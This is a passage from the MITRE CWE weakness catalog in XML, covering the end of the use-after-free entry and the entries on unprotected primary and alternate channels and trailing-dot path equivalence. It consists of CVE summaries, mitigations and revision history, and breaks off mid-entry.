               <Description>Use-after-free triggered by closing a connection while data is still being transmitted.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-4168</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2941</Reference>
               <Description>Improper allocation for invalid data leads to use-after-free.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2941</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2547</Reference>
               <Description>certificate with a large number of Subject Alternate Names not properly handled in realloc, leading to use-after-free</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2547</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1772</Reference>
               <Description>Timers are not disabled when a related object is deleted</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1772</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1437</Reference>
               <Description>Access to a "dead" object that is being cleaned up</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1437</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1208</Reference>
               <Description>object is deleted even with a non-zero reference count, and later accessed</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1208</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0629</Reference>
               <Description>use-after-free involving request containing an invalid version number</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0629</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0378</Reference>
               <Description>unload of an object that is currently being accessed by other functionality</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0378</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0302</Reference>
               <Description>incorrectly tracking a reference count leads to use-after-free</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0302</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0249</Reference>
               <Description>use-after-free related to use of uninitialized memory</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0249</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0050</Reference>
               <Description>HTML document with incorrectly-nested tags</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0050</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3658</Reference>
               <Description>Use after free in ActiveX object by providing a malformed argument to a method</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3658</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3616</Reference>
               <Description>use-after-free by disconnecting during data transfer, or a message containing incorrect data types</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3616</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3553</Reference>
               <Description>disconnect during a large data transfer causes incorrect reference count, leading to use-after-free</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3553</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2416</Reference>
               <Description>use-after-free found by fuzzing</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2416</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1837</Reference>
               <Description>Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1837</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0749</Reference>
               <Description>realloc generates new buffer and pointer, but previous pointer is still retained, leading to use after free</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0749</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3328</Reference>
               <Description>Use-after-free in web browser, probably resultant from not initializing memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3328</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5038</Reference>
               <Description>use-after-free when one thread accessed memory that was freed by another thread</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5038</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0077</Reference>
               <Description>assignment of malformed values to certain properties triggers use after free</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0077</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4434</Reference>
               <Description>mail server does not properly handle a long header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4434</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2753</Reference>
               <Description>chain: integer overflow leads to use-after-free</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2753</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4997</Reference>
               <Description>freed pointer dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4997</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Use After Free</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Using freed memory</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM00-C</Entry_ID>
               <Entry_Name>Allocate and free memory in the same module, at the same level of abstraction</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM01-C</Entry_ID>
               <Entry_Name>Store a new value in pointers immediately after free()</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM30-C</Entry_ID>
               <Entry_Name>Do not access freed memory</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP15</Entry_ID>
               <Entry_Name>Faulty Resource Use</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 8: C++ Catastrophes.&#34; Page 143"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Common_Consequences, Description, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>Anonymous External Contributor</Contribution_Name>
               <Contribution_Date>2022-06-28</Contribution_Date>
               <Contribution_Comment>Suggested rephrase for extended description</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="419" Name="Unprotected Primary Channel" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="923" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not expose administrative functionnality on the user UI.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Protect the administrative/restricted functionality with a strong authentication mechanism.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unprotected Primary Channel</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="383"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="42" Name="Path Equivalence: 'filename.' (Trailing Dot)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of trailing dot ('filedir.') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="162" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-1114</Reference>
               <Description>Source code disclosure using trailing dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1114</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1986</Reference>
               <Description>Source code disclosure using trailing dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1986</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2213</Reference>
               <Description>Source code disclosure using trailing dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3293</Reference>
               <Description>Source code disclosure using trailing dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3293</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0061</Reference>
               <Description>Bypass directory access restrictions using trailing dot in URL</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0061</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1133</Reference>
               <Description>Bypass directory access restrictions using trailing dot in URL</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1133</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1386</Reference>
               <Description>Bypass check for ".lnk" extension using ".lnk."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1386</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Trailing Dot - 'filedir.'</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Trailing Dot - 'filedir.'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="420" Name="Unprotected Alternate Channel" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product protects a primary channel, but it does not use the same level of protection for an alternate channel.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="923" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Identify all alternate channels and use the same protection mechanisms that are used for the primary channels.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0567</Reference>
               <Description>DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0567</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1578</Reference>
               <Description>Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1578</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1035</Reference>
               <Description>User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1035</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1863</Reference>
               <Description>FTP service can not be disabled even when other access controls would require it.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1863</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0066</Reference>
               <Description>Windows named pipe created without authentication/access control, allowing configuration modification.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0066</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1461</Reference>
               <Description>Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1461</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unprotected Alternate Channel</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This can be primary to authentication errors, and resultant from unhandled error conditions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
